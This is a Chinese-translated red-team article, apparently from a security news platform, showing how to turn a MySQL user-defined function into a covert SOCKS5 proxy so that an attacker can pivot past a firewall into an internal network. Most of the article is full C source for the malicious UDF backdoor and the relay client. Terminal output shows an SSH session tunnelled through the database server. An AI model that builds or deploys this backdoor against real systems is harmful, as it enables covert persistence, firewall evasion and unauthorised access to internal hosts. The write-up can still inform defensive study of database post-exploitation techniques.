龙空技术网

利用MySQL服务搭建代理通信隧道

NOSEC安全讯息平台 43

前言:

此刻姐妹们对“mysql数据库后门”大致比较关怀,兄弟们都需要剖析一些“mysql数据库后门”的相关资讯。那么小编也在网上网罗了一些对于“mysql数据库后门””的相关文章,希望同学们能喜欢,咱们快快来学习一下吧!

在进行红队练习时,我喜欢使用UDF作为持久控制的方式,因为它很难被捕获,而且易于使用,可轻松弹出shell。而在最近,我们的红队就遇到这样一种情况:除了数据库服务,网络防火墙会拦截所有和内部机器的通信流量。此时,经典的UDF弹shell失效了,它无法回连我们。当然我们还是可以执行类似do_system("my shiny command")的命令,不过这非常不方便。

既然防火墙只让我们使用MySQL服务,那就把MySQL服务变为代理,让它成为我们征服内网的支点!

声明:以下代码的质量实在不行,请理解代码中的思想并根据需要来实现功能,请勿直接使用(只是简单的PoC)。

用户定义函数(UDF)和MySQL

在MySQL中,用户可以自定义函数,借此扩展出丰富强大的功能。而这些新函数是通过MySQL加载共享对象实现的,你可以通过传统的查询语句select your_function('pwn');来使用它们。

如果你记忆力足够好,可能还记得Raptor/do_system,它利用UDF以root权限执行恶意命令。我们可以使用这个代码作为框架来构建所需的UDF:

#include <stdio.h>#include <stdlib.h>typedef struct st_udf_args { unsigned intarg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null;// 1 for maybe_null args} UDF_ARGS;typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant} UDF_INIT;int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){ // Magic & Unicorns return 1;}char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message){ return(0);}

只需gcc -shared -o carracha.so carracha.c -fPIC,再将文件移动到插件目录,加载进MySQL中(create function do_carracha returns integer soname 'carracha.so';)。

寻找目标

如前所述,我们使用这个UDF重用连接,代理转发所有的TCP流量。如果我们知道连接所使用的文件描述符是什么,就可以轻松地重用它。不幸的是,我们不能直接知道连接使用的是什么文件描述符,所以我们需要暴力破解,直到找到正确的目标。这其实是一种非常古老的技术,在NetSec上曾有详细描述的文章。

首先,我们需要知道文件描述符的范围(以进行暴力破解)。为此,我们可以打开一个新的socket,并返回其文件描述符,这个数字将是破解的上限:

int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){ ... int fd; fd = socket(AF_UNIX, SOCK_STREAM, 0); close(fd); ...}

一旦知道爆破的范围,接着使用getpeername确定某个文件描述符是否和一个有效的socket关联,以及连接到socket的端点是否是我们自己。

... for (i = 3; i < fd; i++) { ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size); if (ret == 0) { char ip[INET6_ADDRSTRLEN]; if (client_addr.ss_family == AF_INET) { struct sockaddr_in *s = (struct sockaddr_in *)&client_addr; inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip)); } else if (client_addr.ss_family == AF_INET6) { struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr; inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip)); } if (strstr(ip, "X.X.X.X")) { // Hardcoded because it is a PoC. We should take this value from function argument (do_carracha('ip')) write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); // Say hello to our client! } }  } memset(&client_addr, 0, sizeof(client_addr)); }...

经过几行代码,我们找到了那个神圣的入口!

将proxychains连接到MySQL服务

建立连接通信最简单方法是使用MySQL C API。我们将使用这个教程的代码,建立稳定连接,然后直接打开socket执行查询(do_carracha('whatever')):

void proxy_init(int sock){ ... write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30); // 执行问询 "select do_carracha('a')" ...}int main (int argc, char **argv) { MYSQL *con = mysql_init(NULL); if (con == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); exit(1); } if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); mysql_close(con); exit(1); } proxy_init(3); // 3 is the socket (0 -> stdin, 1 -> stdout, 2 -> stderr) exit(0);}

我们客户端将打开一个本地端口,并转发proxychains和MySQL连接之间的消息,所以无论它从proxychains收到什么,都将发送到服务器,反之亦然。这主要通过多个select来完成。

此时,我们有一个客户端来进行MySQL服务和proxychains之间的通信,而UDF将重用客户端socket来发送/接收消息。剩下唯一要解决的问题就是在UDF中实现SOCKS5。

将SOCKS5添加到UDF

我不喜欢重复造轮子,所以打算利用这个SOCKS5实例。我将重用在mod_ringbuilder(一个Apache后门,如果你对这个感兴趣,可以查看XAMP堆栈(第三部分)中的后门:Apache模块)中使用的稍微改动过的版本。

首先,我们派生进程(这样就不会产生阻塞),在子进程中使用被捕获的socket作为参数调用proxy函数,然后在父进程中关闭socket。

...void *worker(int fd) { int inet_fd = -1; int command = 0; unsigned short int p = 0; socks5_invitation(fd); socks5_auth(fd); command = socks5_command(fd); if (command == IP) { char *ip = NULL; ip = socks5_ip_read(fd); p = socks5_read_port(fd); inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd); if (inet_fd == -1) { exit(0); } socks5_ip_send_response(fd, ip, p); free(ip);}  app_socket_pipe(inet_fd, fd); close(inet_fd); exit(0);}void proxy(int socks) { char a[1]; write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1); read(socks, a, sizeof(a)); //  worker(socks); return;}int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){ ... if (strstr(ip, "x.x.x.x")) { write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); pid = fork(); if (pid == 0) { proxy(i); exit(0);  }  else { close(i); return 1; } }  ...}...
PoC||GTFO

在这个PoC中使用了两个文件:

// SOCKS5 inside a UDF// based on  <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#include <netinet/ip.h>#include <arpa/inet.h>#include <string.h>#include <errno.h>#include <sys/select.h>#define BUFSIZE 65536#define IPSIZE 4#define ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))typedef struct st_udf_args {unsigned intarg_count; // number of argumentsenum Item_result*arg_type; // pointer to item_resultchar **args; // pointer to argumentsunsigned long *lengths; // length of string argschar *maybe_null;// 1 for maybe_null args} UDF_ARGS;typedef struct st_udf_init {charmaybe_null; // 1 if func can return NULLunsigned intdecimals; // for real functionsunsigned long max_length; // for string functionschar *ptr; // free ptr for func datachar const_item; // 0 if result is constant} UDF_INIT;enum socks { RESERVED = 0x00, VERSION = 0x05};enum socks_auth_methods { NOAUTH = 0x00, USERPASS = 0x02, NOMETHOD = 0xff};enum socks_auth_userpass { AUTH_OK = 0x00, AUTH_VERSION = 0x01, AUTH_FAIL = 0xff};enum socks_command { CONNECT = 0x01};enum socks_command_type { IP = 0x01, DOMAIN = 0x03};enum socks_status { OK = 0x00, FAILED = 0x05};int readn(int fd, void *buf, int n){ int nread, left = n; while (left > 0) { if ((nread = read(fd, buf, left)) == 0) { return 0; } else if (nread != -1){ left -= nread; buf += nread; } } return n;}void socks5_invitation(int fd) { char init[2]; readn(fd, (void *)init, ARRAY_SIZE(init)); if (init[0] != VERSION) { exit(0); }}void socks5_auth(int fd) { char answer[2] = { VERSION, NOAUTH }; write(fd, (void *)answer, ARRAY_SIZE(answer));}int socks5_command(int fd){ char command[4]; readn(fd, (void *)command, ARRAY_SIZE(command)); return command[3];}char *socks5_ip_read(int fd){ char *ip = malloc(sizeof(char) * IPSIZE); read(fd, (void* )ip, 2); //Buggy readn(fd, (void *)ip, IPSIZE); return ip;}unsigned short int socks5_read_port(int fd){ unsigned short int p; readn(fd, (void *)&p, sizeof(p)); return p;}int app_connect(int type, void *buf, unsigned short int portnum, int orig) { int new_fd = 0; struct sockaddr_in remote; char address[16]; memset(address,0, ARRAY_SIZE(address)); new_fd = socket(AF_INET, SOCK_STREAM,0); if (type == IP) { char *ip = NULL; ip = buf; snprintf(address, ARRAY_SIZE(address), "%hhu.%hhu.%hhu.%hhu",ip[0], ip[1], ip[2], ip[3]); memset(&remote, 0, sizeof(remote)); remote.sin_family = AF_INET; remote.sin_addr.s_addr = inet_addr(address); remote.sin_port = htons(portnum); if (connect(new_fd, (struct sockaddr *)&remote, sizeof(remote)) < 0) { return -1; } return new_fd; }}void socks5_ip_send_response(int fd, char *ip, unsigned short int port){ char response[4] = { VERSION, OK, RESERVED, IP }; write(fd, (void *)response, ARRAY_SIZE(response)); write(fd, (void *)ip, IPSIZE); write(fd, (void *)&port, sizeof(port));}void app_socket_pipe(int fd0, int fd1){ int maxfd, ret; fd_set rd_set; size_t nread; char buffer_r[BUFSIZE]; maxfd = (fd0 > fd1) ? fd0 : fd1; while (1) { FD_ZERO(&rd_set); FD_SET(fd0, &rd_set); FD_SET(fd1, &rd_set); ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL); if (ret < 0 && errno == EINTR) { continue; } if (FD_ISSET(fd0, &rd_set)) { nread = recv(fd0, buffer_r, BUFSIZE, 0); if (nread <= 0) break; send(fd1, (const void *)buffer_r, nread, 0); } if (FD_ISSET(fd1, &rd_set)) { nread = recv(fd1, buffer_r, BUFSIZE, 0); if (nread <= 0) break; send(fd0, (const void *)buffer_r, nread, 0); } }}void *worker(int fd) { int inet_fd = -1; int command = 0; unsigned short int p = 0; socks5_invitation(fd); socks5_auth(fd); command = socks5_command(fd); if (command == IP) { char *ip = NULL; ip = socks5_ip_read(fd); p = socks5_read_port(fd); inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd); if (inet_fd == -1) { exit(0); } socks5_ip_send_response(fd, ip, p); free(ip);}  app_socket_pipe(inet_fd, fd); close(inet_fd); exit(0);}void proxy(int socks) { char a[1]; write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1); read(socks, a, sizeof(a)); //  worker(socks); return;}int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error){if (args->arg_count != 1)return(0); int fd, i, ret, pid; struct sockaddr_storage client_addr; socklen_t addr_size = sizeof(client_addr);fd = socket(AF_UNIX, SOCK_STREAM, 0); close(fd); for (i = 3; i < fd; i++) { ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size); if (ret == 0) { char ip[INET6_ADDRSTRLEN]; if (client_addr.ss_family == AF_INET) { struct sockaddr_in *s = (struct sockaddr_in *)&client_addr; inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip)); } else if (client_addr.ss_family == AF_INET6) { struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr; inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip)); } if (strstr(ip, "X.X.X.X")) { write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); pid = fork(); if (pid == 0) { proxy(i); exit(0);  }  else { close(i); return 1; } }  } memset(&client_addr, 0, sizeof(client_addr)); } return fd;}char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message){return(0);}

第二个文件和连接通信相关。

// PoC to communicate proxychains and SOCKS5 #include <my_global.h>#include <mysql.h>#include <stdio.h>#include <stdlib.h>#include <sys/time.h>#include <sys/types.h>#include <unistd.h>#include <string.h>#include <sys/socket.h>#include <netinet/ip.h>#include <fcntl.h>void proxy_init(int sock){ fd_set readset; struct timeval tv; int i, retval, nread, localfd, clientlen, sr, maxfd, select_fd[2]; char test[1024]; struct sockaddr_in server, client; fprintf(stderr, "[ SERVER BANNER ]\n\n"); write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30); select_fd[0] = sock; while(1) { FD_ZERO(&readset); FD_SET(select_fd[0], &readset); tv.tv_sec = 1; tv.tv_usec = 0; retval = select(select_fd[0] + 1, &readset, NULL, NULL, &tv); if (retval) { nread = read(select_fd[0], test, sizeof(test)); fprintf(stderr, "%s", test); if (strstr(test, "Child")) { break; } } } if ((localfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { fprintf(stderr, "\nERROR: could not open new socket!\n"); exit(1); } server.sin_family = AF_INET; server.sin_port = htons(1337); server.sin_addr.s_addr = INADDR_ANY;  if (bind(localfd, (struct sockaddr *)&server, sizeof(server)) == -1) { fprintf(stderr, "\nERROR: could not bind!\n"); exit(1); } if (listen(localfd,5) == -1) { fprintf(stderr, "\nERROR: could not listen!\n"); exit(1); } clientlen = sizeof(client); fprintf(stderr, "\n[ RUN YOUR PROXYCHAINS NOW ]\n"); if ((select_fd[1] = accept(localfd, (struct sockaddr *)&client, &clientlen)) == -1) { fprintf(stderr, "\nERROR: could not accept!\n"); exit(1); } while(1) { tv.tv_sec = 1; tv.tv_usec = 0; FD_ZERO(&readset); maxfd = (select_fd[0] > select_fd[1])? select_fd[0] : select_fd[1]; for (i = 0; i < 2; i++) { FD_SET(select_fd[i], &readset); } sr = select(maxfd + 1, &readset, NULL, NULL, &tv); if (sr == -1) { fprintf(stderr, "ERROR: Select failed, something went reaaaally wrong!\n"); exit(1); } if (sr) { for (i = 0; i < 2; i++) { if(FD_ISSET(select_fd[i], &readset)) { memset(test, 0, sizeof(test)); if (i == 0) { nread = read(select_fd[0], test, sizeof(test)); fprintf(stderr, "-> %d packets from server\n", nread); write(select_fd[1], test, nread); } else if (i == 1) { nread = read(select_fd[1], test, sizeof(test)); if (nread <= 0){ fprintf(stderr, "ERROR: could not read from proxychains!\n"); exit(1); } fprintf(stderr, "<- %d packets from proxychains\n", nread); write(select_fd[0], test, nread); } }  } } }}int main (int argc, char **argv) { MYSQL *con = mysql_init(NULL); if (con == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); exit(1); } if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); mysql_close(con); exit(1); } proxy_init(3); exit(0);}

编译并运行:

Terminal 1

root@insularaptor:/tmp# ./MyShellQL [ SERVER BANNER ]Now I am become DeathAnd this is my Child[ RUN YOUR PROXYCHAINS NOW ]

Terminal 2

root@insularaptor:/tmp# proxychains ssh mothra@192.168.245.197ProxyChains-3.1 ()|S-chain|-<>-127.0.0.1:1337-<><>-192.168.245.197:22-<><>-OKmothra@192.168.245.197's password: Linux arcadia 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindi vidual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Sat Dec 7 19:22:36 2019 from 127.0.0.1mothra@arcadia:~|⇒ exitConnection to 192.168.245.197 closed.

是的,我们刚刚把MySQL服务改造成了ssh代理!多么隐蔽的通信方式!

最后

UDF在渗透测试中一直是一款强力工具。希望这篇文章对你在信息安全方面的学习起到帮助,或者对你来说足够有趣。如果你发现了文章错误,请及时与我联系@TheXC3LL。


本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:

原文:

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

标签: #mysql数据库后门